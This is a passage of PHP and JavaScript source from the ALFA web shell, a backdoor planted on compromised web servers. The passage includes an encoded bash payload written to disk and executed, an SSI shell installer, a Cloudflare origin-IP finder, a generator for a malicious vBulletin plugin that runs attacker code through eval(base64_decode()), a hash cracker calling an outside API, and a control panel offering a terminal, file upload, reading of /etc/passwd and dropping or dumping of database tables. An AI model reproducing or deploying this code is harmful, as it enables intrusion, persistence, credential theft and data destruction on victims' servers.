		$bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";
		$realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));
		$tmp_path = alfaWriteTocgiapi("getheader.alfa",$bash);
		$data = alfaEx("cd '{$tmp_path}/alfacgiapi';sh getheader.alfa",false,true,true);
		if(@is_array(@json_decode($data,true))){
			__alfa_set_cookie("updateheader_data", __ZW5jb2Rlcg($data));
			echo $data;
		}
	}else{
		echo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]);
	}
}
function alfassiShell(){
alfahead();
echo '<div class=header>';
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
@mkdir('alfa_shtml',0755);
@chdir('alfa_shtml');
alfacgihtaccess('shtml');
$code = 'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==';
@__write_file('alfa_ssi.shtml',__get_resource($code));
@chmod("alfa_ssi.shtml",0755);
echo AlfaiFrameCreator('alfa_shtml/alfa_ssi.shtml');
echo '</div>';
alfafooter();
}
function alfacloudflare(){
alfahead();
AlfaNum(8,9,10,7,6,5,4,3);
echo "<div class=header><center><br><div class='txtfont_header'>| Cloud Flare ByPasser |</div><br><form action='' onsubmit=\"g('cloudflare',null,this.url.value,'>>'); return false;\" method='post'>
<p><div class='txtfont'>Target:</div> <input type='text' size=30 name='url' style='text-align:center;' placeholder=\"target.com\"> <input type='submit' name='go' value=' ' /></p></form></center>";
if($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
$url = $_POST['alfa1'];
if(!preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url)){
$url = preg_replace('/^(https?):\/\//', '', $url);
$url = "http://www.".$url;
}
$headers = @get_headers($url, 1);
$server = $headers['Server'];
$subs = array('owa.','2tty.','m.','gw.','mx1.','store.','1','2','vb.','news.','download.','video','cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns3.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.', 'dl.', 'my.', 'cp.', 'portal.', 'kb.', 'support.','search.', 'docs.', 'files.', 'accounts.', 'secure.', 'register.', 'apps.', 'beta.', 'demo.', 'smtp.', 'ns2.', 'ns1.', 'server.', 'shop.', 'host.', 'web.', 'cloud.', 'api.', 'exchange.', 'app.', 'vps.', 'owa.', 'sat.', 'bbs.', 'movie.', 'music.', 'art.', 'fusion.', 'maps.', 'forums.', 'acc.', 'cc.', 'dev.', 'ww42.', 'wiki.', 'clients.', 'client.','books.','answers.','service.','groups.','images.','upload.','up.','tube.','users.','admin.','administrator.','private.','design.','whmcs.','wp.','wordpress.','joomla.','vbulletin.','test.','developer.','panel.','contact.');
if(preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url, $matches)){
if($matches[2] != 'www'){$url = preg_replace('/^(https?):\/\//', '', $url);}else{
$url = explode($matches[0], $url);
$url = $url[1];}}
if(is_array($server))$server = $server[0];
echo __pre();
if(preg_match('/cloudflare/i', $server))
echo "\n[+] CloudFlare detected: {$server}\n<br>";
else
echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n";
echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n<br><br>";
echo "[+] Searching for more IP addresses.\n\n<br><br>";
for($x=0;$x<count($subs);$x++){
$site = $subs[$x] . $url;
$ip = is_ipv4(gethostbyname($site));
if($ip == '(Null)')
continue;
echo "Trying {$site}: {$ip}\n<br>";
}
echo "\n[+] Finished.\n<br>";
}
echo '</div>';
alfafooter();
}
function is_ipv4($ip){
return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
}
function __alert($s){
echo '<center>'.__pre().$s.'</center>';
}
function create_table($data){
echo '<table border="1">';
foreach ($data as $key => $val){
$array = array();
foreach($val as $k => $v){
$array[$k] = $v;
}
echo "<tr><td><div class='tbltxt'>".$array['tdName']."</div></td><td><input type='text' id='".$array['id']."' name='".$array['inputName']."' ".($array['placeholder']?'placeholder':'value')."='".$array['inputValue']."' size='".$array['inputSize']."' ".($array['disabled']?'disabled':'')."></td></tr>";
}
echo '</table>';
}
function alfaphp2xml(){
alfahead();
AlfaNum(8,9,10,7,6,5,4,3);
echo "<div class=header><center><p><div class='txtfont_header'>| Shell For vBulletin |</div></p><form onsubmit=\"g('php2xml',null,this.code.value,'>>'); return false;\" method='post'>
<p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>
<input type='submit' name='go' value=' ' /></p></form></center>";
if($_POST['alfa2']&&$_POST['alfa2']=='>>'){
echo __pre()."<p><center><textarea rows='10' name='users' cols='80'>";
echo '<?xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\'PHP_SELF\'],"subscriptions.php")){eval(base64_decode(\''.__ZW5jb2Rlcg($_POST['alfa1']).'\'));exit;}]]></phpcode></plugin></plugins>';
echo '</textarea></center></p>';
}
echo '</center></div>';
alfafooter();
}
function alfacpcrack(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'dec\')">| DeCrypter | </a><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'analyzer\')">| Hash Analyzer | </a></h3></center>';
if($_POST['alfa1']=='dec'){
$algorithms = array('md5'=>'MD5','md4'=>'MD4','sha1'=>'SHA1','sha256'=>'SHA256','sha384'=>'SHA384','sha512'=>'SHA512','ntlm'=>'NTLM');
echo '<center><div class="txtfont_header">| DeCrypter |</div><br><br>
<form onsubmit="g(\'cpcrack\',null,\'dec\',this.md5.value,\'>>\',this.alg.value); return false;"><div class="txtfont">Decrypt Method:</div> <select name="alg" style="width:100px;">';
foreach($algorithms as $key=>$val){echo('<option value="'.$key.'">'.$val.'</option>');}
echo'</select><input type="text" placeholder="Hash" name="md5" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
if($_POST['alfa3'] == '>>'){
$hash = $_POST['alfa2'];
if(!empty($hash)){
$hash_type = $_POST['alfa4'];
$email = "[email protected]";
$code = "7b9fa79f92c3cd96";
$target = "https://md5decrypt.net/Api/api.php?hash=".$hash."&hash_type=".$hash_type."&email=".$email."&code=".$code;
$resp = @file_get_contents($target);
if($resp==''){
$get = new AlfaCURL();
$resp = $get->Send($target);
}
echo __pre().'<center>';
switch($resp){
	case('CODE ERREUR : 001'):echo "<b><font color='red'>You exceeded the 400 allowed request per day</font></b>";break;
	case('CODE ERREUR : 003'):echo "<b><font color='red'>Your request includes more than 400 hashes.</font></b>";break;
	case('CODE ERREUR : 004'):echo "<b><font color='red'>The type of hash you provide in the argument hash_type doesn't seem to be valid</font></b>";break;
	case('CODE ERREUR : 005'):echo "<b><font color='red'>The hash you provide doesn't seem to match with the type of hash you set.</font></b>";break;
}
if(substr($resp,0,4)!='CODE'&&$resp!=''){
echo "<b>Result: <font color='green'>".$resp."</font></b>";
}elseif(substr($resp,0,4)!='CODE'){
echo "<font color='red'>NoT Found</font><br />";
}
echo('</center>');
}
}
}
if($_POST['alfa1']=='analyzer'){
echo '<center><p><div class="txtfont_header">| Hash Analyzer |</div></p>
<form onsubmit="g(\'cpcrack\',null,\'analyzer\',this.hash.value,\'>>\');return false;">
<div class="txtfont">Hash: </div> <input type="text" placeholder="Hash" name="hash" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
if($_POST['alfa3'] == '>>'){
$hash = $_POST['alfa2'];
if(!empty($hash)){
$curl = new AlfaCURL();
$resp = $curl->Send("https://md5decrypt.net/en/HashFinder/","post","hash={$hash}&crypt=Search");
echo(__pre().'<center>');
if(preg_match('#<fieldset class="trouve">(.*?)</fieldset>#',$resp,$s)){
	echo('<font color="green">'.$s[1].'</font>');
}else{
	echo('<font color="red">Not Found...!</font>');
}
echo('</center><br>');
}
}
}
echo '</div>';
alfafooter();
}
function alfafooter(){
if(!isset($_POST['ajax'])){
echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >
<tr>
<td width='17%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\"><span class='footer_text'>Make File : </span><br><input class='dir' type='text' name='f' value=''> <input type='submit' value=' '></form></td>
<td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\"><span class='footer_text'>Make Dir : </span><br><input class='dir' type='text' name='d' value=' '> <input type='submit' value=' '></form></td>
<td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\"><span class='footer_text'>Delete : </span><br><input class='dir' type='text' name='del' value=' '> <input type='submit' value=' '></form></td>
<td width='19%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\"><span class='footer_text'>Chmod : </span><br><input class='dir' type=text name=f value=' '> <input type='submit' value=' '></form></td>
</tr>
<tr>
<td colspan='2'><form onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span class='footer_text'>Change Dir : </span><br><input class='foottable' id='footer_cwd' type='text' name='c' value='".htmlspecialchars($GLOBALS['cwd'])."'> <input type='submit' value=' '></form></td>
<td colspan='2'><form onsubmit=\"editor(this.file.value,'view','','','','file');return false;\"><span><span class='footer_text'>Read File : </span></span><br><input class='foottable' type='text' name='file' value='/etc/passwd'> <input type='submit' value=' '></form></td>
</tr>
<tr>
<td colspan='4'><form style='margin-top: 10px;' onsubmit=\"return false;\" autocomplete='off'><span><span class='footer_text'>Execute :</span><br><button onClick='alfaOpenPhpTerminal();return false;' class='foottable alfa_custom_cmd_btn'><img style='width:28px;vertical-align: middle;' src='http://solevisible.com/icons/menu/terminal.svg'> Terminal</button><br></form></td>
</tr>
<tr>
<td colspan='4'><form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart/form-data'>
<input type='hidden' name='a' value='FilesMAn'>
<input type='hidden' name='c' value='" . $GLOBALS['cwd'] ."'>
<input type='hidden' name='ajax' value='true'>
<input type='hidden' name='alfa1' value='uploadFile'>
<input type='hidden' name='charset' value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span class='footer_text'>Upload file: </span><span><button id='addup' onclick='addnewup();return false;'><b>+</b></button></span><p id='pfooterup'><label class='inputfile' for='footerup'><span id='__fnameup'></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id='footerup' class='toolsInp' type='file' name='f[]' onChange='handleup(this,0);' multiple></p><input type='submit' name='submit' value=' '></form><div id='alfa-copyright'><span class='copyright'>[ ./AlfaTeam &copy; 2012-".date('Y')." ]</span><br><span><a href='javascript:void(0);' onclick='alert(\"BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo\");' style='color: #E91E63;text-decoration: none;'>Donate Us !</a></span> <span style='letter-spacing: 2px;color: #dfff00;'>solevisible[at]gmail.com</span> <span><a style='color: #ff6060;text-decoration: none;' target='_blank' href='https://telegram.me/solevisible'>@solevisible</a></span></div></td>
</tr>
</table>
</div>

<div id='options_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"options_window\");'></div><div onClick='editorClose(\"options_window\");' class='close-button'></div></div></div><div style='height:100%;' class='content_options_holder'><div class='options_tab'></div><div class='options_content' style='margin-left:14px;margin-right:30px;background:#000;overflow:auto;'></div></div></div></div>

<div id='database_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'>Sql Manager</div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"database_window\");'></div><div onClick='editorClose(\"database_window\");' class='close-button'></div></div></div><div class='content_options_holder' style='margin-left:14px;margin-right:30px;background:#000;max-height:90%;'><div class='sql-tabs'></div><div class='sql-contents' style='max-height: 85vh;'></div></div></div></div>

<div id='cgiloader'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"cgiloader\");'></div><div onClick='editorClose(\"cgiloader\");' class='close-button'></div></div></div><div id='cgiframe' style='position:relative;margin-left:14px;margin-right:30px;'><div class='terminal-tabs'></div><div style='height:90%;' class='terminal-contents'></div></div></div></div>
<div id='editor' style='display:none;'><div class='editor-wrapper'><div class='editor-header'><div class='editor-path'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"editor\");'></div><div onClick='editorClose(\"editor\");' class='close-button'></div></div></div><div onclick='historyPanelController(this);' mode='visible' class='history-panel-controller'><<</div><div class='editor-explorer'><div class='hheader'><div class='history-clear' onclick='clearEditorHistory();'>Clear all</div><div class='hheader-text'>History</div><div class='editor-search'><input type='text' style='text-align:center;' id='search-input' placeholder='search'></div></div><div class='history-list'></div></div><div class='editor-modal'><div class='editor-body'><div class='editor-content'><div class='editor-tabs'></div><div class='editor-content-holder'></div></div></div></div></div></div>
<div id='update-content'></div>
<div id='database_window-minimized' onclick='showEditor(\"database_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div class='minimized-text' style='top: 15px;'>Database</div></div></div>
<div id='options_window-minimized' onclick='showEditor(\"options_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 4px;' class='minimized-text'>Options</div></div></div>
<div id='editor-minimized' onclick='showEditor(\"editor\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 2px;' class='minimized-text'>Editor</div></div></div>
<div id='cgiloader-minimized' onclick='showEditor(\"cgiloader\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 12px;' class='minimized-text'>Cgi Shell</div></div></div>
<div id='rightclick_menu'>
  <a target='_blank' href='' name='newtab'><img src=\"http://solevisible.com/icons/menu/newtab.svg\"> Open in new tab</a>
  <a target='_blank' href='' name='link'><img src=\"http://solevisible.com/icons/menu/link.svg\"> Open file directly</a>
  <a href='javascript:void(0);' name='download'><img src=\"http://solevisible.com/icons/menu/download2.svg\"> Download</a>
  <a href='' name='view'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View</a>
  <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='view_archive'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View Archive</a>
  <a href='' name='edit'><img src=\"http://solevisible.com/icons/menu/edit.svg\"> Edit</a>
  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"move\");' ftype='' path='' fname='' href='' href='' name='move'><img src=\"http://solevisible.com/icons/menu/move.svg\"> Move</a>
  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"copy\");' ftype='' path='' fname='' href='' name='copy'><img src=\"http://solevisible.com/icons/menu/copy.svg\"> Copy</a>
  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"rename\");' ftype='' path='' fname='' name='rename'><img src=\"http://solevisible.com/icons/menu/rename.svg\">  Rename</a>
  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"modify\");' ftype='' path='' fname='' name='modify'><img src=\"http://solevisible.com/icons/menu/time.svg\">  Modify</a>
  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"permission\");' name='permission'><img src=\"http://solevisible.com/icons/menu/key.svg\"> Change Permissions</a>
  <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='compress'><img src=\"http://solevisible.com/icons/menu/resize.svg\"> Compress</a>
  <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='extract'><img src=\"http://solevisible.com/icons/menu/increase.svg\"> Extract</a>
  <a href='javascript:void(0);' name='delete'><img src=\"http://solevisible.com/icons/menu/delete.svg\"> Delete</a>
</div>
<div id=\"filesman-tab-full-path\"></div>
<div id='alert-area' class='alert-area'></div>
<div class='cl-popup-fixed' style='display:none;'>
	<div id='shortcutMenu-holder'>
		<div class='popup-head'></div>
			<form autocomplete='off' onSubmit='return false;'>
				<label class='old-path-lbl'></label>
				<div style='overflow: hidden;white-space: nowrap;text-overflow: ellipsis;' class='old-path-content'></div>
				<label style='margin-top:10px;' class='new-filename-lbl'>New file name</label>
				<input type='text' name='fname'>
				<div class='perm-table-holder'>
					<table>
					   <tbody>
					      <tr>
					         <td><b>Mode</b></td>
					         <td>User</td>
					         <td>Group</td>
					         <td>World</td>
					      </tr>
					      <tr>
					         <td>Read</td>
					         <td><input type='checkbox' name='ur' value='4' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='gr' value='4' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='wr' value='4' onclick='calcperm();'></td>
					      </tr>
					      <tr>
					         <td>Write</td>
					         <td><input type='checkbox' name='uw' value='2' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='gw' value='2' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='ww' value='2' onclick='calcperm();'></td>
					      </tr>
					      <tr>
					         <td>Execute</td>
					         <td><input type='checkbox' name='ux' value='1' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='gx' value='1' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='wx' value='1' onclick='calcperm();'></td>
					      </tr>
					      <tr>
					         <td>Permission</td>
					         <td><input style='width:60px;' type='text' name='u' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"u\", [\"u\"]);'></td>
					         <td><input style='width:60px;' type='text' name='g' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"g\", [\"g\"]);'></td>
					         <td><input style='width:60px;' type='text' name='w' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"w\", [\"w\"]);'></td>
					      </tr>
					   </tbody>
					</table>
				</div>

			</form>
		<div class='popup-foot'>
			<button style='background: #2b5225;' name='accept' action='' onclick='alfaPopUpDoAction(this);'></button>
			<button style='background: #9e2c2c;' onclick='d.querySelector(\".cl-popup-fixed\").style.display=\"none\";'>Cancell</button>
		</div>
	</div>
</div>";?>
<script>
function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'>&nbsp;<a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":"&nbsp;")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 